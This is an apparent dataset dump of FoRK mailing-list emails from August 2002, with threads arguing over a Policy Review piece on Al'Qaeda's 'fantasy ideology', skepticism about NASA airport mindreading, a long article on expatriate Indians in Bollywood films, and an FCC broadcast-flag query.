-0400, Gary Lawrence Murphy wrote: > Hate-lit By choosing that term you are certainly attempting to frame the debate by choosing a fear-charged word. > What if they operate by the same neural-annealing Maxima-Minima > gratification mechanisms as you or I and every other creature on this > planet? If somebody maximizes their gratification by slaughtering people, we shouldn't just try to understand them. We should try to stop them. You seem to have forgotten this in your moral relativism. Everybody is justified in their own head. This doesn't mean we forgive mass murders, or ignore their acts. They are still guilty and abhorrent. We do understand them better when we see them as a flawed human being, like any one of us. > When both sides can call the other ""evil"" to the cheers of their local > public and media, you can bet something's rotten in the state of Denmark. Calling ""the other side"" evil is a time-honored tradition. It is less of a stepping point for an analysis of the situation than it is for an analysis of human nature in general. > I guess that's why I live in the woods. Bears and racoons I > understand, but I really just don't 'get' people. People require a touch more effort. -- njl http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Sat, 17 Aug 2002 00:59:00 -0700",Re: NASA mindreading,"Sounds like the ""brain fingerprinting"" touted by Steve Kirsch last October... http://www.skirsch.com/politics/plane/ultimate.htm The commercial firm may very well be ""Human Brain Research Labs, Inc.""... http://www.brainwavescience.com/ - Gordon ----- Original Message ----- From: ""Chris Arkenberg"" To: Sent: Saturday, August 17, 2002 12:46 AM Subject: NASA mindreading > NASA Plans to Read Terrorist's Minds at Airports > http://www.washtimes.com/national/20020817-704732.htm > > This just strikes me as being so ridiculously bizarre. We are truly > beginning to blur reality with science fiction. Makes me think of Minority > Report (although PKD realized this future decades ago). Especially > concerning (or intriguing?) is the revelation that ""the agency is > developing brain-monitoring devices in cooperation with a commercial firm, > which it did not identify"". > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 Chris Arkenberg ,fork@spamassassin.taint.org,"Sat, 17 Aug 2002 00:46:49 -0700",NASA mindreading,"NASA Plans to Read Terrorist's Minds at Airports http://www.washtimes.com/national/20020817-704732.htm This just strikes me as being so ridiculously bizarre. We are truly beginning to blur reality with science fiction. Makes me think of Minority Report (although PKD realized this future decades ago). Especially concerning (or intriguing?) is the revelation that ""the agency is developing brain-monitoring devices in cooperation with a commercial firm, which it did not identify"". http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Chris Arkenberg ,"Sat, 17 Aug 2002 11:31:44 +0200 (CEST)",Re: NASA mindreading,"On Sat, 17 Aug 2002, Chris Arkenberg wrote: > This just strikes me as being so ridiculously bizarre. We are truly If it strikes you as being ridiculously bizarre, you're probably right. Because it is ridiculous, and bizarre. > beginning to blur reality with science fiction. Makes me think of Minority No, rather a new breakthrough in ballistic snake oil delivery. So it's built into a walkthrough gate, and is noninvasive. It's supposed to analyse brain and heart activity. While you can pick up heartbeat by Doppler radar, later tells it's realtime DSP on an array of SQIDs. Later they mention they use passive IR imaging and eye saccade evaluation. Maybe they're also doing a Kirlian reading, and recording your mana flux, too. (Conclusive evaluation by entrail reading is nonoptional only for confirmed terrorists). So they claim terrorist intent translates in biosignatures they can pick up by close-distance passive telemetry, in realtime, with a very low number of false positives, while having no chance to calibrate, in the field. Right. Seems somebody is so awfully eager to pick up a slice of research grant pie from the heimatland securitate money they haven't even bothered to invent a plausible lie. http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,Gary Lawrence Murphy ,"Sat, 17 Aug 2002 10:51:59 -0400",Re[4]: Al'Qaeda's fantasy ideology: Policy Review no. 114,"GLM> Hate-lit rests on a premise that ""them"" are fundamentally different GLM> critters from ""us"" and thus, by being ""them-like"" they, as a GLM> classification, ""bring it on themselves"" for us to ""correct"" them by GLM> any means gruesome we might choose, after all, it's not /us/ pulling GLM> the trigger, it's ""them"", right? I've heard Bush say this (verbatim) GLM> more than once, and with a straight face. Personally, I don't know where you got that from. Here's how I grokked the whole piece. A theory (in this case, that fantasy was the propagating force/drive?) behind a given act, that from those not in the fantasy seems morally outrageous, repugnant or unjustified. He listed many examples, oldies and goodies. I don't think the author meant to come off at the point that you seem to be conjecturing -- that this is purely an 'other' offense. I certainly didn't read it that way, but it _did_ bother me that he did not include some of the examples I listed, or as Damien? mentioned on an earlier post, the whole collective fantasy of capitalism. GLM> Call it gay-bashing or whatever, it's convenient tunnel-vision and GLM> lies to justify violence against a creature genetically, morally and GLM> intellectually indistinguishable from your sister. Go ahead, peel the GLM> skin off a random daughter of each of them and lay them side by side GLM> on the pavement, and you tell me which one was racially guilty, which GLM> one carried the ""infection"" the ""plague"" (note, not the ""antigen"" or GLM> the ""hormone"", which have similar metaphoric effects to philosophy, GLM> but they chose the fear-charged words) This article never got into the bones & blood of what humans are Gary. You're assuming too much, dearie. His was all a psychological game. I'd be willing to wager that, his point was merely psychological. That there is a distinguishing characteristic (the fantasy) about those who are perpetually deluded into a preconceived notion of how the world needs to work -- his examples were very clear -- a psychopathological individual and on a lesser extreme, the father who fantasizes his son as a football player. I kinda read 'levels' into that distinguishing characteristic though. Meaning, just because you believe in the/a fantasy, does not mean necessarily that you're going to be an evil terrorist. It just means you're playing alittle game in your head, and because of that you are a bit different from the rest of the wavelengths floating around in the cosmos at that moment. GLM> ""Make no mistake about it"" it oozes rhetorical vehicles to obfuscate GLM> it's lack of bits paragraph after paragraph in pushing an agenda to GLM> /excuse/ ""our"" violence and suspension of human rights to 'clense' GLM> ourselves of ""them"", the 'non-human' (or lesser-human) objects of its GLM> hate. I didn't read cleanse or nonhuman anywhere. Mind telling me where you saw those words? Sure, I'll bite that the article had rhetoric. I'll also bite that he wasn't fair entirely with his theory. If he meant it to be a universal (capable of including even the common father with a football complex dream) he should have included our delusions in all of this. But honestly, where in the hell did you get 'cleanse ourselves of 'them', the 'non-human' (or lesser-human) objects... ? GLM> What else shall we call it? Just anti-liberal? Lots of things can be anti-liberal and not be bad. :) GLM> Better question: What if, as in physics, the laws of human behaviour GLM> are the same everywhere in the Universe? What if Al Queda is in fact GLM> more like our mafia or biker gangs or school board trustees? Well, as sinister as the schoolboard is, they didn't go kill 4k+ people. Lets put some of this moral relativism de jour into perspective here. Al'Qaeda had a fantasy. This fantasy involved a whole mess of 'others' not in their collective fantasy. This _is_ much like the mafia's collective fantasy about brotherhood and organized crime, or the biker gang's fantasy about being badasses on the road or the school board's fantasy about indoctrinating your children with Jesus, but its not equivalent. The terrorists went out, and purposely destroyed things, and killed people. This is bad, I don't care what universe you're in. While the aspect of 'fantasy' can be applied to all groups, and that label can be equivalent, the perpetration of the fantasy has different effects and must be judged differently. Otherwise, whats a genocide? Just a father-son complex gone terribly awry? GLM> What if they operate by the same neural-annealing Maxima-Minima GLM> gratification mechanisms as you or I and every other creature on this GLM> planet? They just may, that doesn't dispute that their fantasy was a deadly one. GLM> What if, instead of magically and uniquely alien, they are, just like GLM> our own captains and leaders, really only in it for the money, for GLM> trade rights-of-way and for power over minions who will foolishly make GLM> it all happen, minions whom they can once again dup with /virtually/ GLM> /identical/ rhetoric ... except we call theirs ""fundamentalist islam"", GLM> and they call ours ""imperialist satanism""? GLM> When both sides can call the other ""evil"" to the cheers of their local GLM> public and media, you can bet something's rotten in the state of Denmark. So your whole point is we too live in a fantasy. Sure. No questions. Its the thing that bothered me about the article. I think the difference between our fantasy and theirs, is that there are folks out there, in our fantasy allowed to voice their opinons about the 'fantasy' and keep folks a bit grounded in the real versus the made-up. From what I gather, there are no such guards, or protections on their end. Thats the problem with some regeimes over others. THey all have bad points -- Ours is in a collective fantasy that we need to control the oil, masking the intentions behind a very clever, albiet convienent other fantasy of 'terrorism'. Point is, Gary, the 'terrorism' fantasy really happened. People really died. I won't argue we're innocent in the perpetration of our fantasy, but I'll argue that we're not just blindly 'cleansing' 'non-humans'. GLM> I guess that's why I live in the woods. Bears and racoons I GLM> understand, but I really just don't 'get' people. Too bad bears and racoons don't protect you from the silly fantasies of people, yours or others. -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,,17 Aug 2002 11:28:20 -0400,Re: NASA mindreading,">>>>> ""E"" == Eugen Leitl writes: E> Seems somebody is so awfully eager to pick up a slice of E> research grant pie from the heimatland securitate money they E> haven't even bothered to invent a plausible lie. Seems also from the news being reported that it's likely they already have a slice of that pie, which says something about the mindset of the people handing out the slices. Ditto for the biometric airport ID machines. My personal raw guess: The people with the pie /already/ /know/ the people with the Ghostbusters Gear, they play golf regularly, have for years, and perhaps even co-own some private venture that profits win or lose from the grant. 9-11 seems to have made every security-oriented-corp shareholder's eyes light up with red-white-and-blue dollar signs, and like sharks to a cut swimmer or psychologists to a distressed town, they came swarming on the motherlode. I only guess that because the pattern seems historically so statistically prevalent. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,17 Aug 2002 11:15:36 -0400,Re: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114,">>>>> ""N"" == Ned Jackson Lovely writes: N> On Sat, Aug 17, 2002 at 01:51:25AM -0400, Gary Lawrence Murphy N> wrote: N> By choosing that term you are certainly attempting to frame the N> debate by choosing a fear-charged word. And ""moral relativism"" is not? N> If somebody maximizes their gratification by slaughtering N> people, we shouldn't just try to understand them. We should try N> to stop them. The history of crime and punishment illustrates the need for /both/, and while there are slaughter-maxima people living in Queens (or Montreal or Milan or ...), I would not condone blanket justifications to ""cure"" everyone who looks like them with suspended rights and violence. Do we suspect every tall black man because of OJ Simpson? By the logic of that article, which is apparently endorsed by at least a few FoRKers, should I keep all Americans at an arms distance for fear I'll be infected with the same paranoiac blood-lust meme-virus? After-all, it's a disease, just like a plague, right? Ok, ok, so maybe I /do/ keep a few Yanks in quarantine, fenced off with chickenwire out in the back 40, but that's besides the point. At least I feed them. Wait, wait ... enough tit-for-tat, how about a technical question: How would _you_ /know/ if you _were_ infected? Wouldn't the schizophrenia of the diseased meme be transparent to you, perfectly bonded into your reality? N> People require a touch more effort. Spoken exactly like those people I do not understand, because the specist statement is patently false by /all/ measures known to science, yet they so adamantly believe the farce is truth. Would you also believe the Earth is at the center of the Universe, put here for our exclusive enjoyment because God loves us best? ""To the enlightened mind, there is no difference between a Brahmin and a dog"" --- guess which moral relativist said it and where. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,bitbitch@magnesium.net,17 Aug 2002 11:57:53 -0400,Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"Well, for example .. >>>>> ""b"" == bitbitch writes: b> Once we understand this [ the fantasy virus model ], many of b> our current perplexities will find themselves b> resolved. Pseudo-issues such as debates over the legitimacy of b> racial profiling would disappear: Does anyone in his right b> mind object to screening someone entering his country for signs b> of plague? Or quarantining those who have contracted it? Or b> closely monitoring precisely those populations within his b> country that are most at risk? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,Gary Lawrence Murphy ,"Sat, 17 Aug 2002 12:29:44 -0400",Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114,"Hello Gary, Uh, plague is not action. No, no one has a problem quarantining someone who has say, Ebola, or malaria, because diseases do not require any decisive action -- just contact. fantasies, still require decisive action, even if its in conjunction with the way the fantasy works in the individual's brain. Many people have very strange and obscure fantasies (say wanting to be a model) that dont' require them to be locked up. Fantasies aren't nearly as much like plagues. Not everyone in a given population necessarily adheres to that given fantasy, whereas everyone can get a given plague. (BTW, gary, the whole concept of monitoring a given 'racial populaiton' for fear of them getting a plague is silly. I don't think plagues discriminate) You're trying to argue for a lock'em all up mentality, when I don't think anyone but you has even mentioned it. His point was that fantaesies were a psychological? explanation for a possible event. Not that all people who have them, or even have a certain type, need to be locked up, quarantined, killed, rubbed-out or cleansed. GLM> Well, for example .. >>>>>> ""b"" == bitbitch writes: GLM> b> Once we understand this [ the fantasy virus model ], many of GLM> b> our current perplexities will find themselves GLM> b> resolved. Pseudo-issues such as debates over the legitimacy of GLM> b> racial profiling would disappear: Does anyone in his right GLM> b> mind object to screening someone entering his country for signs GLM> b> of plague? Or quarantining those who have contracted it? Or GLM> b> closely monitoring precisely those populations within his GLM> b> country that are most at risk? -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Sat, 17 Aug 2002 15:05:51 -0400",Heh heh heh -- Geekmod!,"Hello fork, Whilst digitally meandering around google answers (answers.google.com) I came upon an interesting question: 'Whats the coolest geektoy for under $50' and an equally nifty answer (albiet a bit off the mark for the question, but it wasn't my money, so who cares). http://www.soundwise.org/id49.htm Hee. Visualization with real lights instead of just winamp. Sliiiiccckk. -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Gary Lawrence Murphy , bitbitch@magnesium.net","Sat, 17 Aug 2002 14:46:15 -0400",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"At 12:35 AM -0400 on 8/17/02, Gary Lawrence Murphy wrote: > Wasn't the Aztec population that greeted Cortez already largely > decimated by the microbiology brought over by DeSoto nearly a hundred > years before? >>From my PBS education (Michael whatsisname, the ""Alexander"" guy, among other things) on the subject, I believe the smallpox stuff happened *during* the invasion. The conquistadores themselves were, in fact, disease vectors. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Sat, 17 Aug 2002 16:18:10 -0700",Some notes on Bollywood movies hitting it big abroad,"NRI Number One Expats help Hindi films make dollars and sense even at their own expense By JEANNE E. FREDRIKSEN The expatriate in films is nothing new. Casablanca starring Humphrey Bogart as the suave, mysterious Rick in Morocco remains the top favorite 60 years after its release in America. Although expat characters' lives are traditionally painted as being extraordinary, the simple fact that they live ""elsewhere"" adds a sense of adventure, a dash of romance, and a bit of wishful longing. However, expats have never made the kind of impact on films that non-resident Indians (NRIs) have with Hindi cinema, both at the box office and on the big screen. According to India's 2001 census, the country's population exceeded the 1 billion persons milestone, and there are approximately 11 million Indians living, working, and studying elsewhere around the world. NRIs have become a serious market for the Hindi film industry, particularly in the U.K., where approximately 3 percent of the population is Indian/Pakistani, and in the U.S., where 1.7 million out of 281.5 million people are Indian. The rupee box office is now augmented quite handsomely by the dollar-and-pound box office, much to the delight of directors and producers. Among the films reporting a half-to-three-quarters-of-a-million-dollar box office in the U.S. or the U.K. are Aa Ab Laut Chalen (1999), Kaho Naa Pyaar Hai (2000), Refugee (2000), Lajja (2001), and Asoka (2001). The NRI ""million-dollar-box-office club"" boasts such films as Yaadein (2001) and Lagaan (2001) in the U.S. Taal (1999), Hum Saath Saath Hain (HSSH, 1999), and Mohabbatein (2000) made the mark or better in the U.K. Taal and HSSH doubled their U.K. intakes in the U.S. and brought in $2 million each. Kuch Kuch Hota Hai (1998) tallied up $2.6 million in the U.K. Most recently, setting a new high-water mark in the overseas box office, Kabhi Khushi Kabhie Gham (K3G, 2001) grabbed the No. 10 spot its first week of release in the U.S. and earned $2.9 million during its five-week run. In the U.K., K3G earned nearly $3.6 million over an 18 week run. Impressive? Yes, considering that promotion of Hindi films outside of the Indian community is virtually zero, although that may be on the brink of changing slightly. If nothing else, the figures indicate that the NRI spends a big chunk of change on the films. During the past decade, the inclusion of NRI characters in both commercial and non-commercial films has been on the rise, and in a circular logic, it's only natural that they have become a part of these films' stories. Each NRI touches someone in India, and these ""global Indians,"" as filmmaker Subhash Ghai has called them, cannot be shrugged off as a passing phase. Films featuring or ""made for"" NRIs have been criticized by some in India, but in reality, many of those films have performed extremely well at the Indian box office. Could this speak to the lure of adventure and the romance of the NRI? The first Hindi blockbuster to spotlight NRI characters was Dilwale Dulhania Le Jayenge (DDLJ, 1995), the story of two young people who grew up Indian in London. DDLJ introduced us to the mischievous, prank-pulling Raj, who in the beginning fails to graduate but succeeds in pilfering a case of beer from an Indian-owned convenience store. In the end, he steadfastly applies Indian sensibilities in his pursuit of the rebellious-but-trapped Simran as her unwanted arranged marriage approaches. Very possibly, because of this juxtaposition of traits, attitudes, and events, DDLJ enjoys the distinction of being the longest-continually-running film in Indian cinema history. Popularity aside, there is the ongoing issue regarding accuracy in the characterization of NRIs in films. Often they are drawn as stereotypes, which are easy to lean on, requiring neither depth nor dimension. Because of this, Hindi filmmakers may be said to straddle the border separating East and West, staying securely at home and dipping into their highly-fantasized world of the Indian diaspora. In many cases, commercial Hindi films present an overly-devised sense of the NRI as being either corruptly-Westernized or as being more homesick than a child gone away to camp for the first time. While these concepts may carry a certain truth, the corresponding misconceptions come from the minds of the at-home Indians, who wag a seemingly-envious finger at the NRI's ability to exist in two worlds: one allowing space and upward mobility, the other offering traditions and history. Pompous, materialistic, alcohol-drinking, cigarette-smoking, drug-taking, affair-having, spoiled brats The first Hindi film I saw was Subhash Ghai's Pardes (1997). Despite encouraging me to see more films, it made me wonder if ""NRI"" actually meant ""Not Really Indian."" If the NRI characters weren't silly, whiney troublemakers, they were mean and nasty, embracing every possible negative human quality in stark contrast to the pristine Kusum Ganga. Even the dialogue and song lyrics in the film were designed to instruct the viewer that the West is inferior but one can still bring India back into one's life. The film is propaganda at its finest and filled with relentless reminders of good vs. evil, purity vs. corruption, right vs. wrong, traditional vs. modern in short India vs. the West. But this is not where the negativity ends. Very often, there is a ""dress code"" for the female characters to help the viewer understand her measure of purity or wickedness: the more traditionally-dressed, the more Indian the woman. Unsurprisingly, this does not seem to carry over to the men's characters. Running alongside this can be the ""training guide"" in which NRIs are constantly reeducated that ""This is not India ,"" ""This is not America ,"" ""Only in India ,"" ""This is our culture."" The repetition seems less designed to be a natural part of life than to foster reinforcement, as if NRIs are too ignorant to appreciate it the first time. When Indians achieve success and wealth, have large homes, and own their companies in these films, they are industrious, clever, and respected businessmen. The NRI equivalent is held up to a double standard and considered materialistic. Even the printed synopsis of Taal in the Eros Entertainment/B4U DVD booklet refers to the NRI characters' ""world of ruthless materialism."" On the other hand, the Mumbai-based, plagiarizing Vikrant Kapoor character is likeable enough and presented as an opportunist, which seems to be a step up. Italy is an unlikely origin for an NRI and offspring in a Hindi film, but Hum Dil De Chuke Sanam (2000) filled the bill. For all the film's splendor, it was regrettable that the Indo-Italian Sameer was presented as a nave, bumbling nerd who had little going for him beyond his singing ability. Yaadein gave us a kind and loving, if slightly confused, single parent from London raising three daughters who suffer enough issues to put a therapist into a tailspin. As if that weren't enough, the film includes an American-raised brat who wants nothing to do with parents, settling down, or having babieshardly the ideal Indian bride-to-be. And what happens when a married NRI couple splits into the ""modern"" vs. the ""old-fashioned?"" The wife is tossed out like the garbage and sent home to India as punishment for being unreceptive to having affairs outside of marriage. Such is the initial setup for Lajja, Rajkumar Santoshi's look into the world of Indian women. Show me the way to go home The other extreme of NRIs in film is the homesick, culture-craving, more-patriotic-than-thou Indian. Building their own mini-Indias for maxi-memories, this NRI portrayal takes a real issue and magnifies it to unreal proportions. And no film illustrates that as extravagantly as the lush and sumptuous Kabhi Khushi Kabhi Gham (K3G). Not only did K3G enjoy a healthy run at home, it exploded worldwide onto theater screens in Indian communities last December and played to packed houses for weeks. And K3G is a film in which everythinghomes, transportation, finances, fashion, holidays, events, emotions, and tearssets a new standard for the term ""larger-than-life."" In K3G, much of the post-interval footage takes place in England. For Anjali, life in London simmers with a patriotic zeal and an all-consuming homesickness manifested in the meticulous maintenance of Indian customs and rituals while she separates herself from her surroundings. Her need for India is so overwhelming that she relies on the false protection of mocking people and places outside of her own family and home. Overkill? Certainly, as writer-director Karan Johar's inflated representation of what have become some of the filmi passions of the typical NRI. But when it boils down to the common denominators without the fanfare, flash, and fervor, even those who move across country miss their families and familiar surroundings; one always retains a credible amount of home-turf loyalty; and if one's heritage is lost, the person is rendered as no more than a racial statistic. ""Those living in India are surrounded by our culture every minute, even if they don't realize it,"" says Vivek Malhotra, a thirty-something NRI and business owner in the Chicago area. ""Here it's different, but we will always be Indian,"" he continues, striking at the heart of the perceived problem. ""Sometimes, I feel that the movies think we've forgotten that. Maybe the filmmakers should spend some time finding out who we are. I really don't think they have a clue."" On the upside is a beneficial aspect for the children of NRIs. ""It's good that these films show our kids what happens in Indiathe traditions, customs, values,"" says Parag Gandhi, a long time theater owner and promoter of Hindi films in Chicago. ""They may be modernized in India, but the traditional values remain."" And many popular films target the late-teens, twenty-something demographic. ""Films such as Dilwale Dulhania Le Jayenge, Kuch Kuch Hota Hai, and K3G,"" adds Gandhi, ""are examples of films that are half traditional, half modern, striking a balance between the two for all of the markets."" Another positive consideration is that not all films show NRIs in a questionable light. Caricatures of NRIs have been challenged in commercial films like Kaho Naa Pyaar Hai, Dil Chhata Hai (2001), Monsoon Wedding (2001), and the recent Kitne Door Kitne Paas, all of which present NRIs as more realistic, more human characters. Aa Ab Laut Chalen offers a variety of NRI personalities from the selfish, the conniving, and the party animal to the lovable cabbies and the pandit-cop who make the best of their situations without complaint. Interestingly, the film also dares to include shop owners, Dunkin' Donuts clerks, gas station attendants: characters who aren't weighed down by palatial surroundings, corporate crises, or overseas judgments. The U.S., the U.K., and Australia are represented in Bombay Boys (1999) by three young men coming/returning to Bombay, India for personal reasons. In a refreshing reversal of the typical attitude concerning NRIs in film, the boys are the ""good"" Indians, and everyone they meet has some relationship with the darker side of the city. At its most basic, the film shows that if something is lost, it won't necessarily be found in India. Even the non-commercial, multi-award-winning Bawandar (2001) incorporates an NRI as a connecting thread in the piecing together of Sanvri Devi's story. Curious, passionate about women's rights, the Indo-English journalist represents the fact that the story has a wider interest than a small, rural village. Stepping outside of the Hindi film industry for a moment, the English/Telegu film Hyderabad Blues (1998) and the English/Tamil film MitrMy Friend (2002), both smaller-budget films built on delivering messages without preaching, deserve mention. The former engages in the questioning of, rather than the criticism of, East vs. West, and the latter examines the challenges faced by women, NRIs, and their families. The characters and stories of both films enjoy respect in their presentation, partially due to the existence of layered issues that are revealed and resolved (or not) without finger-snapping swiftness or clichd answers. Hyderabad Blues enjoyed a 31-week run in Mumbai alone, and MitrMy Friend is currently one of the most-rented films in Indian communities in the U.S. While the inclusion of NRIs in Hindi films does not guarantee box office success outside of India, it does send a strong signal that filmmakers acknowledge this constantly growing and lucrative audience sector. If the big-budget, big box-office commercial films coming out of Mumbai often seem to bite one of the hands that feeds it, has the box office anywhere been adversely affected? Well no, not by any charted reports that can be found. And that, itself, sends a loud and clear message back to the industry in Mumbai: ""if it isn't broken, don't fix it."" Nevertheless, when filmmakers who see NRIs as falling only to the evil side of Western ways look beyond their assumptions, perhaps they will discard their reliance on stereotypes and start paying their overseas family an increased measure of respect. And when filmmakers who take the homesick and patriotic themes beyond believability analyze their own feelings, perhaps they will realize that what NRIs hold dear in their hearts is no different from what those at home should be proud of. n NOTE: All box office figures are reported as US$ and are courtesy of Variety Magazine online archives. Not all Hindi films abroad report box office, and not all box office reports are available. Jeanne E. Fredriksen writes from Chicago. She is family with, friends with, acquainted with, and works for NRIs with an amazing variety of personalities, attitudes, hopes, dreams, goals, livelihoods, needs, wants, and beliefs. ========================================= Dilwale Dulhaniya Le Jayenge So globally successful is the film that in 1999 it warranted a billboard outside Shinjuku train station in Tokyo, Japan, announcing its screenings sponsored by India Center there. Shinjuku is the entertainment center of Tokyo, and there is plenty of high-profile competition for attention, attendance, and box office. In Japan, where Indian films enjoy a certain popularity with the natives, the country's 1995 population census of 125.6 million persons showed only 4,244 were Indian with an additional 13,589 being other South Asians. Without question, DDLJ continues to be a favorite whenever, wherever offered for viewing. Kabhi Khushi Kabhie Gham According to a report in the South China Morning Post in January, 2002, all screenings of K3G in December, 2001, were sell-outs in Hong Kong, while pirated copies of the film were the hottest items circulating on the island. Hong Kong's 2001 population census of 6.3 million people revealed that 18,543 were Indian and another 23,581 were Nepalese and Pakistani. K3G's popularity in the Special Administrative Region was impressive because Hong Kong enjoys being the third-largest producer of films by volume after India and the U.S. ===================================================== Bhansali's Musical Heaven By ANIRUDDH CHAWDA DEVDAS (Universal, 2002). Hindi film soundtrack. Music: Ismail Darbar. Lyrics: Nusrat Badr For perhaps the most eagerly anticipated film of the year, filmmaker Sanjay Leela Bhansali's Devdas had to deliver a score that not only met the hype but also let Ismail Darbar prove that the mega-selling Hum Dil De Chuke Sanam was no one-time flash in the pan. By devising a semi-classical, once-in-a-decade, 100 percent ""Indian"" musical score, Bhansali and Darbar emerge victorious in baking and serving a 10-layer monumental soundtrack. What is most groundbreaking is the powerful one-two punch of lyrics by newcomer Nusrat Badr and the from-soul-voice of first-timer Shreya Ghosal. Ghosal's voice, reminiscent of both Suman Kalyanpur with a slightly thicker pitch and Anuradha Paudwal without the nasal monotone, is the most original singing voice since Kavita Subramaniam appeared in the Mangeshkar mold. Ghosal's ""Silsila ye chaahat ka"" is a sultry tabla-dominated opening to 52 minutes of sheer musical bliss. ""Maar daala"" (Subramaniam, KK) is an excellent example of the use of classical ragas to complement, rather than fill-in, interludes between verses. On ""Kahe chhed,"" Pandit Birju Maharaj, using his own tune, adds an intoxicating opening for Madhuri Dixit's vocals and Subramaniam to finish out a piercing song of longing. While a combination of Ghosal and Subramaniam give life to on-screen lip-synching for Madhuri Dixit and Aishwarya Rai, on the male side Udit Narayan fronts for Shah Rukh Khan. Narayan's on-target ""Bairi piya,"" a duet with Ghosal, could find company in many Lata-Rafi duets of yore. The up-tempo ""Chalak chalak"" again smoothly floats Narayan with Vinod Rathod and Ghosal while Subramaniam and Ghosal's jugalbandhi on ""Dola re dola"" simply shakes the rafters. Packaged in Universal's Bombay plant, the earliest CD pressings have a cheap, paper-thin casing. Purists may consider replacing the cheap cover with a store-bought sturdier one. At a suggested Bombay retail value of about $2 and selling like hot cakes stateside for $10 a pop, Devdas is without doubt a huge profit-maker for the multinational music marketer. But buyers beware: avoid being distracted by bootleg CDs. This exceptional music and exceptionally well-recorded CD deserve unadulterated musical glory. Pop in only a properly copyrighted, original CD and let Darbar & Co. whisk you away on a magical musical ride. Lifelong cinephile Aniruddh Chawda lives, works, and writes from Wisconsin, on America's north coast. http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ","""'Gary Lawrence Murphy'"" ,","Sat, 17 Aug 2002 17:59:03 -0700",RE: Al'Qaeda's fantasy ideology: Policy Review no. 114,"My understanding was 'not really'. They suffered while Cortez was there, but they were hardy and exceptionally numerous when he landed. That is from C&C and also another book that I admit I only got half way through (but long enough for Cortez to get kicked out of the city). John Hall 13464 95th Ave NE Kirkland WA 98034 > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Gary > Lawrence Murphy > Sent: Friday, August 16, 2002 9:35 PM > To: bitbitch@magnesium.net > Cc: fork@spamassassin.taint.org > Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 > > > Wasn't the Aztec population that greeted Cortez already largely > decimated by the microbiology brought over by DeSoto nearly a hundred > years before? > > -- > Gary Lawrence Murphy TeleDynamics Communications Inc > Business Advantage through Community Software : http://www.teledyn.com > ""Computers are useless. They can only give you answers.""(Pablo Picasso) > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Sat, 17 Aug 2002 18:25:39 -0700",Mailing addresses against spam? Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"John Hall signs his message: > John Hall > 13464 95th Ave NE > Kirkland WA 98034 Is this some new ""I'm not spam"" signal, to include a valid mailing address? - Gordon http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List ,","Sat, 17 Aug 2002 23:06:58 -0400",IP: The FCC NPRM on the Broadcast Flag,"--- begin forwarded text Delivered-To: ip-sub-1-outgoing@admin.listbox.com Delivered-To: ip-sub-1@majordomo.pobox.com User-Agent: Microsoft-Entourage/10.1.0.2006 Date: Sat, 17 Aug 2002 21:27:04 -0400 Subject: IP: The FCC NPRM on the Broadcast Flag From: Dave Farber To: ip Sender: owner-ip-sub-1@admin.listbox.com Reply-To: farber@cis.upenn.edu I am in data gathering mode preparatory to writing a response to the FCC NPRM on the Digital Broadcast flag. While I was at the FCC I had a set of opportunities to hear out the media companies about that and I was unconvinced then that it was a good idea. I am more convinced now that it is not wise. I am interested in Ipers opinions on this -- for and against and will share the responses when I digest them. (as well as credit the ideas in the response (with or without attribution -- your call)). Dave For archives see: http://www.interesting-people.org/archives/interesting-people/ --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Gordon Mohr ,"Sun, 18 Aug 2002 09:00:34 -0700",Re: Mailing addresses against spam? Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"Gordon Mohr wrote: > Is this some new ""I'm not spam"" signal, to include a > valid mailing address? It's so you can still converse with him after the internet implodes due to spam and bankruptcy. - Joe -- The Combatant State is your father and your mother, your only protector, the totality of your interests. No discipline can be stern enough for the man who denies that by word or deed. http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Sun, 18 Aug 2002 23:12:15 +0200 (CEST)",Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"Gary 